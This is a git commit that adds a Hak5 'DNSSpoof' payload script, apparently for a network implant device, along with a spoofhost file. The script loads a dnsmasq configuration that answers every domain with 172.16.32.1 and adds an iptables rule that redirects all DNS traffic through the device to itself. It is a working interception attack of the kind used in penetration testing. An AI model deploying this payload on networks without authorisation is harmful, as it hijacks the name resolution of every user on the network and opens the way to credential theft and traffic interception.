Basic payload organization (#9)

This commit is contained in:
Aidan Holland
2017-10-26 21:56:07 -04:00
committed by Sebastian Kinne
parent b6ab3cc61f
commit 81911c6f11
6 changed files with 6 additions and 1 deletions

View File

@@ -0,0 +1,36 @@
#!/bin/bash
#
# Title: DNSSpoof
# Description: Forge replies to arbitrary DNS queries using DNSMasq
# Author: Hak5
# Version: 1.0
# Category: interception
# Target: Any
# Net Mode: NAT
function setup() {
# Show SETUP LED
LED SETUP
# Set the network mode to NAT
NETMODE NAT
sleep 5
# Copy the spoofhost file to /tmp/dnsmasq.address
cp $(dirname ${BASH_SOURCE[0]})/spoofhost /tmp/dnsmasq.address &> /dev/null
# Restart dnsmasq with the new configuration
/etc/init.d/dnsmasq restart
}
function run() {
# Show ATTACK LED
LED ATTACK
# Redirect all DNS traffic to ourselves
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
}
setup
run

View File

@@ -0,0 +1,2 @@
address=/#/172.16.32.1